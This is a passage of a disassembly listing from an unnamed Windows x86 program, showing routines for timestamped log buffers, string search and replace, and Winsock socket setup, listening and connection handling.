; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8085
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E3C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE3C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E3C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE3C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE3C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E3C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E3C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5F74D1
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5F74D1
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02B5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E25
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01BBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5F74D1
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F74D1
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8745


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02B5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D864Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5F74D1
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F74D1
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DB08
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DB08
		inc	eax
		mov	dword_50DB08, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	near ptr 71AB664Dh
		nop
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DB08
		inc	edx
		mov	dword_50DB08, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F40
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DB08
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DB08
		dec	eax
		mov	dword_50DB08, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DB08
		dec	ecx
		mov	dword_50DB08, ecx
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		dd 9090909Fh, 2	dup(90909090h),	8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DB4
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F40
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
